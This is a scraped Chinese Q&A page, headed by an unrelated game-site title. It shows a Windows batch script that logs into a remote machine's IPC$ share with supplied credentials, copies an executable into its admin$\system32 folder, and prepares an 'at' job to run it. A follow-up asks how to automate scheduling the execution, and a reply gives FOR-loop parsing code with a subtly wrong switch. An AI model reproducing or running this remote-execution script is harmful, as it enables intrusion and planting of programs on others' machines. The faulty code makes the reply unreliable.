森林冰火人马上玩7k7k:关于IPC$管道 COPY执行文件的问题

来源:百度文库 编辑:杭州交通信息网 时间:2024/05/10 14:18:47
@echo off

if {%1}=={} goto :usage

:ipc
net use \\%1\ipc$ "%3" /user:"%2"
echo 连接%1成功...
echo.
echo 开始COPY文件到%1...
echo.
copy %4 \\%1\admin$\system32
echo.
echo 开始获取%1的时间...
echo.
net time \\%1
echo.
echo 执行at \\%1 time %4 进行启动
echo at 依赖于计划任务 如果计划任务未启动则不可启动.
goto :end

:usage
echo.
echo Usage: %0 Ip Name Pass File
echo Usage: %0 127.0.0.1 Administrator password File.exe

:end

----------------------
我想写一个可以一次执行的BAT
现在的这个如果条件都充足的话也只能获得对方的时间然后手动再执行at \\ip time file.exe来执行文件
如何才能自动将net time \\ip返回的时间+2执行呢
还有返回的时间是
\\127.0.0.1 2006/2/12 上午 11:19
命令成功完成。
这样格式的 是使用for /i来取某一段吗?

可以通过
FOR /L "tokens=4 delims= " %%i in ('net time \\%1') do set rtime=%%i
这样就将rtime系统变量的值设置为远程系统当前时间了。(注意几点,for命令在批处理文件中使用%i必须替换成%%i,还有in ('net.....')这里的单引号不能替换为双引号,单引号表示命令执行结果,双引号表示字符串)

关于计算的过程,可能是bat的弱项,目前没发现哪个命令可以让bat计算+2这种操作。